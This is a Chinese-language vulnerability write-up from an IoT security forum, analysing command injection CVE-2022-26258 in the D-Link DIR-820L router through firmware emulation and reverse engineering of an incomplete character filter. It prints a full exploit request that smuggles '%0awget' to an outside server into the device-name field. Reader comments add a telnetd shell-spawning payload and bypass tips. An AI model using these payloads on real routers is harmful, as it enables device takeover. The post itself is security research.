D-Link CVE-2022-26258 命令注入

固件安全
2022-04-07 20:01
117070

D-Link CVE-2022-26258 命令注入

0x00.前言

今天又是美好的一天,逛逛iotsec-zone社区的IOT安全情报,发现新更新的漏洞

0x01.固件模拟

将固件下载下来,移动到Ubuntu中,直接使用binwalk进行固件的解密

可以看到固件没有进行加密,接下来我们尝试使用FirmAE进行固件模拟,上命令

$ sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin

看到两个true说明http服务和network都成功模拟,也就是说我们得到了一台仿真的路由器。

0x02.逆向分析

准备工作我们已经完成了,接下来就是对固件进行分析

我们不能盲目的操作,我们去look一下描述信息

这一下就清楚多了,在页面lan.asp下面,因为咱们已经模拟器来,先去看一下这个页面是什么页面。

原来是网络设置页面,那么触发漏洞的点就有很多了,例如IP,name,device等,这里是设置Device Name时触发的命令执行

接下来上burp,抓包看看请求,分析后端。

使用grep命令进行检索

$ grep -r "get_set" .

可以看到一个耳熟能详的二进制应用 ncc2,这个应用主要进行网络等底层操作相关的操作,使用IDA进行分析

根据DEVICE_NAME进行相关追踪

这里可以看到设置设备名称时通过系统命令触发执行,但是前面有个hasInjectionString,根据英文名字猜测,应该是用来判定是否有注入,我们进行跟踪

可以看到为导出函数,使用grep进行快速检索

可以看到匹配的动态链接库,针对动态链接库进行逆向分析

可以看到其过滤的符号

`\;'|

但是没有过滤\n也就是%0a,所以我们可以使用%0a进行绕过

0x03.EXP

使用python启动个服务端

这里使用Burpsuite进行EXP的攻击,EXP如下

POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.1
Referer: http://192.168.0.1/lan.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=1
Connection: close

ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awget http://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679

这里可以看到命令成功被执行

0x04.小结

通过上面的分析可以看到,虽然进行了过滤,但是过滤并不够完整,所以仍可以被绕过

参与评论

0 / 200

全部评论 6

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
tracert的头像
前排学习
2022-09-17 01:33
iotstudy的头像
总体**发现。device name通过python脚本打的时候,无法绕过登录验证修改内容和注入命令,即使在已登录情况下,python脚本打了以后可以注入,但无法执行。而ping**漏洞点,通过python脚本打的时候,可以绕过登录验证,可完成命令注入和执行。
2022-07-21 10:06
iotstudy的头像
**成功了一次。后面对device name可以成功修改,但无法执行device name中的命令。
2022-06-22 17:53
IOTsec-Zone的头像
无回显命令执行,看一下你配的网通不通
2022-07-06 12:49
splash的头像
这个情况我遇到了,不要直接将参数值改为执行的命令,意思就是前面是正常的name,再加上换行符截断,后边加上telnet启动命令,可以试一下。。
2022-07-19 00:55
iotstudy的头像
感谢,我试试看。
2022-07-19 08:34
iotstudy的头像
hack%0atelnetd -l /bin/sh -p 5566%0a python脚本跑起来,完了以后刷新web界面,device name就变成了hacktelnetd -l /bin/sh -p 5566 感觉显然不对啊。 总体的感觉是,device name被修改了,但并没有触发里面的命令。
2022-07-20 08:16
ryze的头像
为啥你的IDA pro 可以做MIPS 的伪代码
2022-05-25 00:25
投稿
签到
联系我们
关于我们